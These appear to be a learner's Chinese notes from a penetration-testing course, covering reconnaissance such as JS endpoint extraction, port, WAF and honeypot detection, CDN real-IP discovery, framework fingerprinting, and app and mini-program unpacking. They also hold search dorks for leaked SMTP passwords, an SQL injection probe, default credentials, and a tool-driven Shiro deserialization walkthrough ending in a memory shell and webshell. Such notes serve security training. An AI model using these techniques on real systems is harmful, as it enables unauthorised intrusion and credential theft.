github项目地址:https://github.com/lijiejie/ds_store_exp
用法示例:
ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store
这个只能得到目录架构,因为下载下来的文件目录里面是空的
composer.json 架构
也是在目录下有个.composer.json目录

文件
xiaodi8.com
看文件,找特殊文件

一般就是找js配置文件,这里我们看到了zblogphp.js文件

去github上面搜索

可以看到code部分有很多

issues只有一个,方便查看,点进去看


我们去目标网站试试这些文件和目录是否存在


有,那么就可以确定目标网站用的就是这套源码
黑
互助网找源码
第14天:信息打点-JS架构&框架识别&泄漏提取&API接口枚举&FUZZ爬虫&插件项目
0、什么是JS渗透测试?
在Javascript中也存在变量和函数,当存在可控变量及函数调用即可参数漏洞 JS开发的WEB应用和PHP,JAVA,NET等区别在于即没有源代码,也可以通过浏览器的查看源代码获取真实的点。获取URL,获取JS敏感信息,获取代码传参等,所以相当于JS开发的WEB应用属于白盒测试(默认有源码参考),一般会在JS中寻找更多的URL地址,在JS代码逻辑(加密算法,APIkey配置,验证逻辑等)进行后期安全测试。
前提:Web应用可以采用后端或前端语言开发
-后端语言:php java python .NET 浏览器端看不到真实的源代码 -前端语言:JavaScript(JS)和JS框架 浏览器端看到真实的源代码 例子:
zblog:核心功能采用PHP语言去传输接受
vue.js:核心功能采用框架语法(JS)传输接受
1、JS安全问题
源码泄漏
未授权访问=JS里面分析更多的URL访问确定接口路径 敏感key泄漏=JS文件中可能配置了接口信息(云应用,短信, API接口安全=(代码中加密提交参数传递,更多的URL路径)
邮件,
数据库等)
2、流行的Js框架有那些?
Vue NodeJS jQuery Angular等
3、如何判定JS开发应用?
插件wappalyzer
源程序代码简短
引入多个js文件
一般有/static/js/app.js等顺序的js文件 一般cookie中有connect.sid
4、如何获取更多的JS文件?
手工-浏览器搜索
半自动-Burpsuite插件
工具化-各类提取&FUZZ项目
5、如何快速获取价值信息?
src=
path=
method:"get"
http.get("
method:"post"
http.post("
$.ajax
http://service.httppost
http://service.httpget
Wappalyzer插件查看网站
奇安信查看js语言开发的网站
app.name='vue.js'


可以直接看到源代码

手工-浏览器搜索
在浏览器一个个搜索常见的关键词
src=
path=
method:"get"
http.get("
method:"post"
http.post("
$.ajax
http://service.httppost
http://service.httpget


这里可以看到有changepwd,还有什么获取密码策略,但是这里用了this,需要我们根据代码去找到
半自动Burp分析
自带功能:Target->sitemap->Engagement tools->Find scripts
官方插件:Is LinkFinder&Is Miner
第三方插件:HaE &Unexpected information
插件加载器:jython-standalone-2.7.2
Unexpected_information:
https://github.com/ScriptKid-Beta/Unexpected_information
用来标记请求包中的一些敏感信息、JS接口和一些特殊字段,防止我们疏忽了一些数据包,使用它可能会有意外的收获信息。
HaE:
https://github.com/gh0stkey/HaE
https://raw.githubusercontent.com/gh0stkey/HaE/gh-pages/Config.yml
基于BurpSuite插件JavaAPI开发的请求高亮标记与信息提取的辅助型插件。该插件可以通过自定义正则的方式匹配响应报文或请求报文,可以自行决定符合该自定义正则匹配的相应请求是否需要高亮标记、信息提取。


HaE插件和Unexpected_information插件

可以看到HaE的一些规则,当抓到的包里面有符合的内容时就会标识成对应的颜色

我们再用之前那个网站


工具化-各类提取&FUZZ项目
FindSomething插件

可以直接提取出敏感关键词之类的信息
JSFinder
命令:
python JSFinder.py -u 目标url

可以发现很多url
URLFinder
命令:
URLFinder.exe -u 目标url

ffuf爆破
需要配合字典,命令:
ffuf -u 目标地址/FUZZ -w 字典
Packer-Fuzzer
命令:
python PackerFuzzer.py -u 目标url


1、JS 前端架构-识别&分析
2、JS 前端架构-开发框架分析
3、JS 前端架构-打包器分析
4、JS 前端架构-提取&FUZZ
解决:
1、如何从表现中的 JS 提取价值信息
2、如何从地址中 FUZZ 提取未知的 JS 文件 3、如何从 JS 开放框架 WebPack 进行测试
第15天:信息打点-主机架构&蜜罐识别&WAF识别&端口扫描&协议识别&服务安全
1、端口扫描-应用&协议
2、WAF 识别-分类&识别
3、蜜罐识别-分类&识别
解决:
1、Web 服务器&应用服务器差异性
2、WAF 防火墙&安全防护&识别技术
3、蜜罐平台&安全防护&识别技术
识别-Web服务器-请求返回包
识别-应用服务器-端口扫描技术
识别-其他服务协议-端口扫描技术
-Web中间件探针
-应用中间件探针
-数据库类型探针
-其他服务协议探针
端口扫描:Nmap、Masscan、网络空间
开放状态:Close Open Filtered
https://nmap.org/download.html
https://github.com/robertdavidgraham/masscan
使用参考:https://blog.csdn.net/qq_53079406/article/details/125266331
https://blog.csdn.net/qq_53079406/article/details/125263917
编译masscan:https://www.cnblogs.com/lzy575566/p/15513726.html
考虑:1、防火墙 2、内网环境
内网环境可能出现情况:明明数据库端口开的,网站也能正常打开,但是你对目标进行端口扫描,发现数据库端口没有开放(排除防火墙问题)
识别-WAF防火墙-看图&项目&指纹
1、WAF解释:
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称:WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
2、WAF分类:
云WAF:百度安全宝、阿里云盾、长亭雷池,华为云,亚马逊云等
硬件WAF:绿盟、安恒、深信服、知道创宇等公司商业产品
软件WAF:宝塔,安全狗、D盾等
代码级WAF:自己写的waf规则,防止出现注入等,一般是在代码里面写死的
3、识别看图:
拦截页面,identywaf项目内置
4、识别项目:
*wafw00f https://github.com/EnableSecurity/wafw00f
-蜜罐解释:
蜜罐是一种安全威胁的检测技术,其本质在于引诱和欺骗攻击者,并且通过记录攻击者的攻击日志来产生价值。安全研究人员可以通过分析蜜罐的被攻击记录推测攻击者的意图和手段等信息。攻击方可以通过蜜罐识别技术来发现和规避蜜罐。因此,我们有必要站在红队攻击者的角度钻研蜜罐识别的方式方法。
-蜜罐分类:
根据蜜罐与攻击者之间进行的交互的程度可以将蜜罐分为三类:低交互蜜罐、中交互蜜罐高交互蜜罐。当然还可以根据蜜罐模拟的目标进行分类,比如:数据库罐、工控蜜罐、物联网蜜罐、web蜜罐等等。






WAF分类与识别
| 类型 | 示例 | 识别方法 |
|---|---|---|
| 云WAF | 阿里云盾、百度安全宝 | 拦截页面特征(如aliyun.com)、HTTP头部(如X-Protected-By) |
| 硬件WAF | 绿盟、深信服 | 特定响应头(如NS-Cache)、IP归属查询 |
| 软件WAF | 安全狗、宝塔 | 拦截页面关键字(如bt.cn)、路径探测(如/safedog) |
| 代码级WAF | 自定义规则(如防SQL注入) | 测试常见攻击向量(如' OR 1=1--),观察自定义拦截响应 |
Web服务器
Apache、Ngnix、IIS、lighttpd等
可以在这里直接看到

应用服务器:
Tomcat、Jboss、Weblogic、Websphere等
不能直接看到,需要根据端口来进一步分析
端口扫描
nmap
基本命令:
nmap 目标ip

windows的gui界面版本

这个显示的详细一点,有版本
可以看到开放的端口有哪些,如果不加扫描全部端口那么只会扫描一些常见的端口
进阶命令参考文章:【端口扫描工具】nmap核心使用方法_使用nmap进行端口扫描,查看端口开放情况,是否默认关闭telnet和 ssh 服务端口-CSDN博客
masscan
基本命令:
masscan -p端口号 目标ip

扫描多个

扫描全部的
masscan -p1-65535 目标ip

网络空间
fofa直接搜ip

查看ip聚合

可以看到开放的端口


Waf
wafw00f
命令:
python main.py https://jmhewang.com/

安全狗
网络空间
这个也能判断

蜜罐
Hfish蜜罐

Heimdallr
用来检查是否为蜜罐,插件,地址:https://github.com/Ghr07h/Heimdallr
但也不完全准确,可能会有误报
判断
web访问协议就下载,端口多且有规律性
| 特征类型 | 示例行为 |
|---|---|
| 易被入侵 | 弱口令、端口开放过多、未授权访问 |
| 无真实感 | 目录结构不完整、命令无实际效果 |
| 出站隔离 | ping 不出去、curl 无法下载 |
| 响应异常 | 执行命令太快,输出格式怪异 |
| 系统不合理 | uptime 很短、系统信息被屏蔽 |
| 工具指纹 | cowrie, hfish, kippo 等进程存在 |
第16天:信息打点-CDN绕过&业务部署&漏洞回链&接口探针&全网扫描&反向邮件
1、CDN 服务-解释差异识别
2、CDN 绕过-配置差异导致
3、CDN 绕过-主动连接获取
4、CDN 绕过-全网扫描获取
解决:
1、CDN 服务对安全影响
2、CDN 服务绕过识别手法
前置知识:
1.传统访问:用户访问域名–>解析服务器 IP–>访问目标主机
2.普通 CDN:用户访问域名–>CDN 节点–>真实服务器 IP–>访问目标主机
3.带 WAF 的 CDN:用户访问域名–>CDN 节点(WAF)–>真实服务器 IP–>访问目标主机
国内服务商:
阿里云 百度云 七牛云
又拍云 腾讯云 Ucloud
360 网宿科技 ChinaCache
国外服务商:
CloudFlare StackPath Fastly
Akamai CloudFront Edgecast
CDNetworks Google Cloud CDN
CacheFly Keycdn Udomain CDN77
CDN 配置:
配置 1:加速域名-需要启用加速的域名
子域名获取真实ip 子域名和域名有可能在同一ip或者网段
例:
www.xiaodi8.com 加速 那么访问这个就会受影响
bbs.xiaodi8.com 不加速 不受影响
如果设置成*.xiaodi8.com 那么这个ip就失效
配置 2:加速区域-需要启用加速的地区
三种:中国内地、全球、全球(除中国内地)
看哪些地区没有加速,那么就可以找到真实ip
配置 3:加速类型-需要启用加速的资源
参考知识:
超级 Ping:http://www.17ce.com/
超级 Ping:https://ping.chinaz.com/
接口查询:https://fofa.info/extensions/source
国外请求:https://tools.ipip.net/cdn.php
国外请求:https://boce.aliyun.com/detect/
IP 社区库:https://www.cz88.net/geo-public
全网扫描:https://github.com/Tai7sy/fuckcdn
全网扫描:https://github.com/boy-hack/w8fuckcdn
全网扫描:https://github.com/Pluto-123/Bypass_cdn
https://mp.weixin.qq.com/s/zxEH-HMqKukmq7qXfrdnQQ
常见方法:
子域名,邮件系统,国外访问,证书查询,APP 抓包,网络空间
通过漏洞或泄露获取,扫全网,以量打量,第三方接口查询等
超级ping
输入要查询的网站:

这个会在各地去解析ip,我们发现这个都是一样的,所以真实ip就是这个,判断出没有使用CDN

也是一样的
我们查询其他的

会发现不同的地区会有不一样的解析ip,解析ip所在地也不一样,那么可以判断这个使用了CDN加速
子域名查询
当子域名和域名访问的时候都是同一个
比如当访问www.abc.com和访问abc.com时是同一个,但是www.abc.com是做了CDN加速的,这个时候可以尝试看看abc.com有没有做加速
hosts文件绑定
主要用于将主机名映射到 IP 地址。当用户在浏览器中输入一个网址时,系统会首先从 Hosts 文件中寻找对应的 IP 地址,如果找到则直接访问该地址,否则会提交给 DNS 服务器进行解析
文件目录是C:\Windows\System32\drivers\etc\hosts
在文件后面加上ip 域名就好了
利用ssrf漏洞
利用它来主动访问我们会给出真实ip,也就是服务器主动来找我们
构造一个监听服务地址,让服务器访问之后,就可以收到来自服务器的真实ip
利用phpinfo
看phpinfo的配置信息去找ip,但是如果服务器有内网,那么一般就只会显示内网ip,如果没有,那么就是真实ip
利用邮件系统
服务器->你
也是主动来找自己去找ip,我们利用服务器发给我们的邮件,查看邮件原文来找真实ip

但是要注意看发件人
这个是域名发过来的,如果不是的话那么去看邮件原文是找不到真实ip的
你->服务器
这个需要自己的邮件服务器不是第三方,通过发送不存在的邮箱地址,然后发送失败会受到服务期返回的失败的邮件,然后得到真实ip
网站一键查询
不一定正确,需要综合考虑,只做参考

和ping的一样

备案
每个网站下面都有备案,可以根据这个来综合判断
比如说这个是渝,就是重庆市

全网扫描
判断加速厂商
厂商查询:https://tools.ipip.net/cdn.php
输入网址查询是什么厂商,比如阿里云、腾讯云等等
IP库筛选地址段
https://www.cz88.net/geo-public
配置范围扫描
https://github.com/Tai7sy/fuckcdn
fuckcdn使用说明:
set.ini是配置文件
#set.ini是配置文件
ScanType=tcp #使用tcp扫描方式 若 支持syn扫描(2003机器) 可设置为 syn
ScanPort=80,8080 #扫描开放端口 (初步扫描) 支持多端口 但是验证时只取第一个, //TODO 待完善
WorkThread=5 #主要工作进程数目(IP扫描后, 同时进行几个ip结果文件的二次扫描)
FuckThread=100 #二次扫描验证线程数
FindUrl=http://example.com/ #扫描的网址
FindStr=NiNJA,52ML,kangml,sbwml #初步扫描后 进行二次判断 判断结果是否包含此关键字, 逗号分割, 逻辑或
其余配置忽略!!!!

输入:
ip:端口
第17天:信息打点-语言框架&开发组件&FastJson&Shiro&Log4j&SpringBoot等
1、CMS 指纹识别-不出网程序识别
2、开发框架识别-PHP&Python&Java
3、开发组件识别-Java 常见安全漏洞组件
后端:
CMS:一般 PHP 开发居多源码程序
(利用源码程序名去搜漏洞情况,源码去下载进行后期的代码审计)
前端
js 框架(爬取更多的 js 从里面筛选 URL 或敏感泄漏 key 等)
也是可以通过对 js 代码逻辑进行代码审计
组件:java 居多,
常见有过安全漏洞组件(shiro solr log4j sprintboot 等)
框架:php java python 都有
框架:简单代码的一个整合库,如果使用框架就只需要学习使用框架调用即可
如:文件上传功能是需要很多代码来实现的,框架把这个代码进行封封装,调用即可 影响:如果采用框架开发,代码的安全性是取决于框架的过滤机制
组件:第三方的功能模块(日志记录,数据监控,数据转换等)
Web 架构:
1、最简单最入门的开发模型(功能代码全部手写)
最容易出现漏洞,程序员水平不一,没有第三方或团队的检测,单纯的自己写
2、结合开发框架的开发模型(以框架为核心实现功能)
第三方或团队的开发的封装代码框架,一般内置的过滤机制(框架漏洞)
3、结合开发框架外加组件模型(以框架为核心,组件为辅实现功能)
第三方或团队的开发的封装代码框架,一般内置的过滤机制(框架和组件漏洞)
指纹识别-本地工具-GotoScan(CMSEEK)
1、在线平台见前面课程,本地工具适用于不出网环境
https://github.com/newbe3three/gotoscan
2、网络空间:Fofa Quake Hunter
3、网络空间:IO 图标关系
#Python-开发框架-Django&Flask
Django
1、识别插件
2、Set-Cookie:expires=
Flask
1、识别插件
2、Set-Cookie:expires=
#PHP-开发框架-ThinkPHP&Laravel&Yii
ThinkPHP:
0、识别插件
1、X-Powered-By:ThinkPHP
2、CMS识别到源码体系TP开发
Laravel:
1、识别插件
2、Set-Cookie中特征的格式
Yii:
1、识别插件
2、set-Cookie中特征的格式
#Java-框架组件-Fastjson&Shiro&Solr&Spring
52类110个主流Java组件和框架介绍:
https://blog.csdn.net/agonie201218/article/details/125300729
Fastison/Jackson
在提交JSON数据包中修改测试:
-Fastison组件会把01解析成1
-Jackson组件在解析01时会抛出异常
https://forum.butian.net/share/1679
https://www.iculture.cc/forum-post/24115.html
Shiro
请求包的cookie中存在rememberMe字段。
返回包中存在set-Cookie:remeberMe=deleteMe。
请求包中存在rememberMe=x时,响应包中存在rememberMe=deleteMe。
有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可,将Cookie内容改为remember Me=1,若相应包有rememberMe=deleteMe,则基本可以确定网站apacheshiro搭建的。
Struts2
一般使用struts2框架后缀带do或action可以尝试进行利用
Springboot
1、通过web应用程序网页标签的小绿叶图标
2、通过springboot框架默认报错页面
Solr识别
一般开放8983端口,访问页面也可以探针到
gotoscan
识别cms
命令:
gotoscan.exe -host 目标url

cms识别成功
框架识别
多种方法,当一种不行时用另外的,综合判断
Django
插件查看

关键特征
Set-Cookie:expires=

Flask
插件查看

特征

ThinkPHP
插件识别

特征

图标

源码查询


内核还是以thinphp写的框架
Laravel
插件

特征

Yii
插件

特征

Fastison/Jackson
在提交JSON数据包中修改测试:
-Fastison组件会把01解析成1
-Jackson组件在解析01时会抛出异常
https://forum.butian.net/share/1679
https://www.iculture.cc/forum-post/24115.html
Shiro
请求包的cookie中存在rememberMe字段。
返回包中存在set-Cookie:remeberMe=deleteMe。
请求包中存在rememberMe=x时,响应包中存在rememberMe=deleteMe。
有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可,将Cookie内容改为remember Me=1,若相应包有rememberMe=deleteMe,则基本可以确定网站apacheshiro搭建的。
请求包有rememberMe字段


Struts2
一般使用struts2框架后缀带do或action可以尝试进行利用



Springboot
页面

图标

Solr识别
一般开放8983端口,访问页面也可以探针到


shiro反序列化
开启环境

用给的用户名和密码登录,一定要点remember Me
登录查看包

发现有rememberMe,打开漏洞利用工具,检测当前密钥

爆破密钥

检测当前利用链

爆破利用链及回显

命令执行

发现成功了, 内存马植入

用webshell工具哥斯拉连接


第18天:信息打点-APP资产&知识产权&应用监控&静态提取&动态抓包&动态调试
1、web&备案信息&单位名称中发现APP
2、APP资产静态提取&动态抓包&动态调试
解决:
1、如何获取到目标APP信息
2、如何从APP信息中提取资产
案例1:名称获取APP信息(爱企查/小蓝本/七麦/点点)
1、爱企查知识产权
2、七麦&点点查名称
https://www.xiaolanben.com/
https://aiqicha.baidu.com/
https://www.qimai.cn/
https://app.diandian.com/
案例2:URL网站备案查APP
1、查备案信息在搜
2、网站上有APP下载
3、市场直接搜单位名称
通过获取App配置、数据包,去获取url、api、osskey、js等敏感信息。
1、资产信息-IP 域名 网站 -转到对应Web测试 接口测试 服务测试
2、泄露信息-配置key 资源文件 - key(osskey利用,邮件配置等)
3、代码信息-java代码安全问题- 逆向相关
APP中收集资产
1、抓包-动态表现
2、提取-静态表现&动态调试
3、搜索-静态表现
1、抓包抓表现出来的数据
优点:没有误报
缺点:无法做到完整
2、反编译从源码中提取数据
优点:数据较为完整
缺点:有很多无用的资产
3、动态调试从表现中提取数据
优点:没有误报,解决不能抓包不能代理等情况
优点;搞逆向的人能看到实时的app调用链等
缺点:无法做到完整
案例:某APP打开无数据包,登录有数据包(反编译后未找到目标资产,抓包住到了)
原因:那个登录界面是APP打包的资源,并没有对外发送数据
案例3:APP提取信息-静态分析
1、MobSF
2、AppInfoScanner
3、两个在线平台
https://mogua.co/
https://www.zhihuaspace.cn:8888/
https://github.com/kelvinBen/AppInfoScanner
https://github.com/MobSF/Mobile-Security-Framework-MobSF
https://blog.csdn.net/ljh824144294/article/details/119181803
案例3:APP提取信息-动态抓包
-前期部分抓包技术
案例3:APP提取信息-动态调试
-MobSF+模拟器
案例1:名称获取APP信息(爱企查/小蓝本/七麦/点点)
1、小蓝本

2、七麦&点点查名称


案例2:URL网站备案查APP
1、查备案信息在搜



2、网站上有APP下载

3、市场直接搜单位名称
通过获取App配置、数据包,去获取url、api、osskey、js等敏感信息。
1、资产信息-IP 域名 网站 -转到对应Web测试 接口测试 服务测试
2、泄露信息-配置key 资源文件 - key(osskey利用,邮件配置等)
3、代码信息-java代码安全问题- 逆向相关

APP中收集资产
1、抓包-动态表现
2、提取-静态表现&动态调试
3、搜索-静态表现
1、抓包抓表现出来的数据
优点:没有误报
缺点:无法做到完整
2、反编译从源码中提取数据
优点:数据较为完整
缺点:有很多无用的资产
3、动态调试从表现中提取数据
优点:没有误报,解决不能抓包不能代理等情况 优点;搞逆向的人能看到实时的app调用链等 缺点:无法做到完整
案例:某APP打开无数据包,登录有数据包(反编译后未找到目标资产,抓包住到了)
原因:那个登录界面是APP打包的资源,并没有对外发送数据
案例3:APP提取信息-静态分析
AppInfoScanner
静态分析,如果是动态的就提不出来
地址:https://github.com/kelvinBen/AppInfoScanner
命令:
python3 app.py android -i <Your apk file>
MobSF
动态调试,可以测试到抓包抓不到的东西
xiaodi8测试
启动:
run.bat 0.0.0.0:8000
访问:
http://localhost:8000/
在界面可以直接分析我们已经在模拟器安装好的app

第19天:信息打点-小程序应用&解包反编译&动态调试&抓包&静态分析&源码架构
#小程序获取-各大平台&关键字搜索 -微信
-百度
-支付宝
-抖音头条
#小程序体验-凡科建站&模版测试上线
测试:https://qz.fkw.com/
参考:https://blog.csdn.net/qq_52445443/article/details/122351865
1.主体结构
小程序包含一个描述整体程序的 app 和多个描述各自页面的 page。
一个小程序主体部分(即app)由三个文件组成,必须放在项目的根目录,如下:
文件 必需 作用
app.js 是 小程序逻辑
app.json 是 小程序公共配置
app.wxss 否 小程序公共样式表
2.一个小程序页面由四个文件组成,分别是:
xxx.js 页面逻辑
xxx.json 页面配置
xxx.wxml 页面结构
xxx.wxss 页面样式
3.项目整体目录结构
pages 页面文件夹
index 首页
logs 日志
utils
util 工具类(mina框架自动生成,你也可以建立一个:api)
app.js 入口js(类似于java类中的main方法)、全局js app.json 全局配置文件
app.wxss 全局样式文件
project.config.json 跟你在详情中勾选的配置一样
sitemap.json 用来配置小程序及其页面是否允许被微信索引
#小程序抓包-Proxifier&BurpSuite联动 -对抓到的IP或域名进行Web安全测试
-对抓到的IP或域名进行API安全测试
-对抓到的IP或域名进行端口服务测试
-对抓到的IP或域名进行端口服务测试
#小程序逆向-解包反编译&动态调试&架构
对源码架构进行分析
-更多的资产信息
-敏感的配置信息
-未授权访问测试
-源码中的安全问题
Proxifier&BurpSuite联动


抓小程序
解包反编译
微信小程序文件所在目录在微信文件夹上一级的Applet里面

解密小程序包,工具UnpackMiniApp

解密成功


开始逆向,工具wxappUnpacker,命令行操作
bingo.bat D:\cyberspace\web_tools\InformationGatheringTools\UnpackMiniApp\wxpack\wx687b1b524d23f77c.wxapkg

生成的文件在wxapkg同一个目录下面


打开微信开发者工具,左上角导入项目

差不多是这样

在遇到一个小程序有多个wxapkg包的时候,需要每个包都解密,并且需要在解密完一个包之后对那个包进行改名,不然再去解密第二个包的时候会覆盖第一个

逆向
工具解包再反编译,拿到微信开发者工具打开
抓包和反编译对比
第20天:信息打点-红蓝队自动化项目&资产侦察&企查产权&武器库部署&网络空间
#各类红蓝队优秀工具项目集合:
https://github.com/guchangan1/All-Defense-Tool
本项目集成了全网优秀的开源攻防武器项目,包含信息收集工具(自动化利用工具、资产发现工具、目录扫描工具、子域名收集工具、指纹识别工具、端口扫描工具、各种插
件...),漏洞利用工具(各大CMS利用工具、中间件利用工具等项目...),内网渗透工具(隧道代理、密码提取...)、应急响应工具、甲方运维工具、等其他安全攻防资料整理,供攻防双方使用。如果你有更好的建议,欢迎提出请求。
#自动化-武器库部署-F8x
项目地址:https://github.com/ffffffff0x/f8x
1、介绍:
一款红/蓝队环境自动化部署工具,支持多种场景,渗透,开发,代理环境,服务可选项等.
2、配置:
通过 CF Workers 下载 [推荐]
wget : wget -O f8x https://f8x.io/
curl : curl -o f8x https://f8x.io/
3、使用:见项目文档
#自动化-网络空间-AsamF
项目地址:https://github.com/Kento-Sec/AsamF
1、介绍:
AsamF集成了Fofa、Hunter、Quake、Zoomeye、Shodan、爱企查、Chinaz、0.zone、subfinder。AsamF支持Fofa、Hunter、Quake、Zoomeye、Shodan、Chinaz、0.zone配置多个Key。
2、配置:
AsamF会在~/.config/asamf/目录下生成config.json文件。
如果你有多个key,按照json的格式录入即可,建议键值按照阿拉伯数字依次录入,方便以阿拉伯数字来切换key。自动结果保存在~/asamf/目录下。
3、使用:见项目文档
#自动化-企查信息-ENScan
项目地址:https://github.com/wgpsec/ENScan_GO
1、介绍:
剑指HW/SRC,解决在HW/SRC场景下遇到的各种针对国内企业信息收集难题 2、配置:
ENScanGo在第一次使用时需要使用-v命令生成配置文件信息后进行配置
3、使用:见项目文档
#自动化-综合架构-ARL&Nemo
-ARL灯塔
项目地址:https://github.com/TophantTechnology/ARL
1、介绍:
旨在快速侦察与目标关联的互联网资产,构建基础资产信息库。协助甲方安全团队或者渗透测试人员有效侦察和检索资产,发现存在的薄弱点和攻击面
2、配置:(docker搭建)
git clone https://qithub.com/TophantTechnology/ARI
cd ARL/docker/
docker volume create arl db
docker-compose pul1
docker-compose up -d
3、使用:见直播操作
-Nemo Go
项目地址:https://github.com/hanc00l/nemo_go
1、介绍:
Nemo是用来进行自动化信息收集的一个简单平台,通过集成常用的信息收集工具和技术实现对内网及互联网资产信息的自动收集,提高隐患排查和渗透测试的工作效率,用Golang完全重构了原Python版本
2、配置:(docker搭建)
https://github.com/hanc00l/nemo_go/blob/main/docs/docker.md
下载release的nemo_linux_amd64.tar后执行:
mkdir nemo;tar xvf nemo_linux_amd64.tar -C nemo;cd nemo
docker-compose up -d
3、使用:见直播操作
Bug:网络空间(配置后要重启)4、
https://github.com/hanc00l/nemo_go/issues/72
自动化-网络空间-AsamF
集成工具,解决导出问题
自动化-企查信息-ENScan
也是解决导出问题
ARL灯塔
挺多教程的,其实我在最开始搞的时候因为docker问题出错搞到一半就没有搞了结果访问Nemo的时候打错端口误打误撞进去了,端口5003
启动和关闭:
docker-compose up -d
docker-compose down
默认账号和密码:admin:arlpass
测试一个小迪的网站试试

好了



再去补天找一个试试
Nemo Go
github下载
两条命令解决
mkdir nemo;tar xvf nemo_linux_amd64.tar -C nemo;cd nemo
docker-compose up -d
启动和关闭:
docker-compose up -d
docker-compose down
访问(端口我这里自己改了
https://ip:5050

默认的账号密码就是nemo:nemo

在配置woker里面可以设置token

F8x
地址:ffffffff0x/f8x: 红/蓝队环境自动化部署工具 | Red/Blue team environment automation deployment tool
运行:
bash f8x -h
一键化部署,想搭建什么就搭建什么
安装在/pentest目录下面
第21天:信息打点-公众号服务&Github监控&供应链&网盘泄漏&证书图标邮箱资产
#微信公众号-获取&三方服务
1、获取微信公众号途径
https://weixin.sogou.com/
2、微信公众号有无第三方服务
#Github监控-开发&配置&源码
目标中开发人员或者托管公司上传的项目存在源码泄漏或配置信息(密码密匙等),人员数据库等敏感信息,找到多个脆弱点。
1、人员&域名&邮箱等筛选
eg:xxx.cn password in:file
https://gitee.com/
https://github.com/
https://www.huzhan.com/
GITHUB资源搜索:
in:name test #仓库标题搜索含有关键字
in:descripton test #仓库描述搜索含有关键字
in:readme test #Readme文件搜素含有关键字
stars:>3000 test #stars数量大于3000的搜索关键字
stars:1000..3000 test #stars数量大于1000小于3000的搜索关键字
forks:>1000 test #forks数量大于1000的搜索关键字
forks:1000..3000 test #forks数量大于1000小于3000的搜索关键字
size:>=5000 test #指定仓库大于5000k(5M)的搜索关键字
pushed:>2019-02-12 test #发布时间大于2019-02-12的搜索关键字
created:>2019-02-12 test #创建时间大于2019-02-12的搜索关键字
user:test #用户名搜素
license:apache-2.0 test #明确仓库的 LICENSE 搜索关键字
language:java test #在java语言的代码中搜索关键字
user:test in:name test #组合搜索,用户名test的标题含有test的
关键字配合谷歌搜索:
site:Github.com smtp
site:Github.com smtp @qq.com
site:Github.com smtp @126.com
site:Github.com smtp @163.com
site:Github.com smtp @sina.com.cn
site:Github.com smtp password
site:Github.com String password smtp
2、语法固定长期后续监控新泄露
-基于关键字监控
-基于项目规则监控
https://github.com/madneal/gshark
https://github.com/NHPT/FireEyeGoldCrystal
https://github.com/Explorer1092/Github-Monitor
#网盘资源搜索-全局文件机密
主要就是查看网盘中是否存有目标的敏感文件
如:企业招标,人员信息,业务产品,应用源码等
#敏感目录文件-目录扫描&爬虫
-后续会详细讲到各类工具项目
#网络空间进阶-证书&图标&邮箱
-证书资产
fofa quake hunter
-ICO资产
fofa quake hunter
-邮箱资产
https://hunter.io/
#微信公众号-获取&三方服务
查企业看知识产权

搜狗搜
这个看小迪是可以搜公众号的不知道我现在为啥只能搜文章了,但是可以看一下文章的发布者,可能是对应公众号发布的
#Github监控-开发&配置&源码
1、人员&域名&邮箱等筛选
域名搜索,后面加上password等关键词,可能会有一些账号密码或者代码的泄露

2、语法固定长期后续监控新泄露
https://github.com/Explorer1092/Github-Monitor

hutb.edu.cn password in:file
in:file是指在文件中出现关键字
免杀
CVE-2024
https://github.com/NHPT/FireEyeGoldCrystal
https://github.com/madneal/gshark
#网盘资源搜索-全局文件机密
用作尝试,实战中用的不多
模拟器里面的app搜索

混合盘搜索

很难得到什么有用的,精确匹配又基本搜不到东西
#网络空间进阶-证书&图标&邮箱
-证书资产
连接安全->证书



语法:
cert="hutb.edu.cn"


ICO资产
到源码下载对应图标,一般就是icon文件






邮箱资产

安全开发总思维导图

第22天:安全开发-PHP应用&留言板功能&超全局变量&数据库操作&第三方插件引用
#章节点
PHP:(逻辑越权安全代码)
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等 技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
技术:JS&CSS 混用,Cookie,Session 操作,MVC 架构,ThinkPHP 引用等。
1、PHP 留言板前后端功能实现
2、数据库创建&架构&增删改查
3、内置超全局变量&HTML&JS 混编
4、第三方应用插件&传参&对象调用
#开发环境:
DW + PHPStorm + PhpStudy + Navicat Premium
DW : HTML&JS&CSS开发
PHPStorm : 专业PHP开发IDE
PhpStudy :Apache MYSQL环境
Navicat Premium: 全能数据库管理工具
#数据导入-mysql架构&库表列
1、数据库名,数据库表名,数据库列名
2、数据库数据,格式类型,长度,键等
#数据库操作-mysqli函数&增删改查
PHP函数:连接,选择,执行,结果,关闭等
参考:https://www.runoob.com/php/php-ref-mysqli.html
常用:
mysqli_connect() 打开一个到MySQL的新的连接。
mysqli_select_db() 更改连接的默认数据库。
mysqli_query() 执行某个针对数据库的查询。
mysqli_fetch_row() 从结果集中取得一行,并作为枚举数组返回。
mysqli_close() 关闭先前打开的数据库连接。
MYSQL增删改查:
查:select * from 表名 where 列名='条件';
增:insert into 表名(`列名1`, `列名2`) value('列1值1', '列2值2');
删:delete from 表名 where 列名 = '条件';
改:update 表名 set 列名 = 数据 where 列名 = '条件';
#数据接收输出-html混编&超全局变量
1、html混编:使HTML(JS)在PHP语言中运行
<?php
echo '<script>alert('x');</script>'
?>
2、超全局变量:
参考:
https://www.w3school.com.cn/php/php_superglobals.asp
https://www.php.net/manual/zh/language.variables.superglobals.php
$GLOBALS:这种全局变量用于在 PHP 脚本中的任意位置访问全局变量
$_SERVER:这种超全局变量保存关于报头、路径和脚本位置的信息。
$_REQUEST:$_REQUEST 用于收集 HTML 表单提交的数据。
$_POST:广泛用于收集提交method="post" 的HTML表单后的表单数据。
$_GET:收集URL中的发送的数据。也可用于收集提交HTML表单数据(method="get")
$_FILES:文件上传且处理包含通过HTTP POST方法上传给当前脚本的文件内容
$_ENV:是一个包含服务器端环境变量的数组。
$_COOKIE:是一个关联数组,包含通过cookie传递给当前脚本的内容。
$_SESSION:是一个关联数组,包含当前脚本中的所有session内容。
#数据导入-mysql架构&库表列
开启phpstudy

打开navicat
新建数据库





有数据库名,数据库表名,数据库列名
数据库数据,格式类型,长度,键等
phpstorm或者DW代码编写
phpstorm
新建php文件

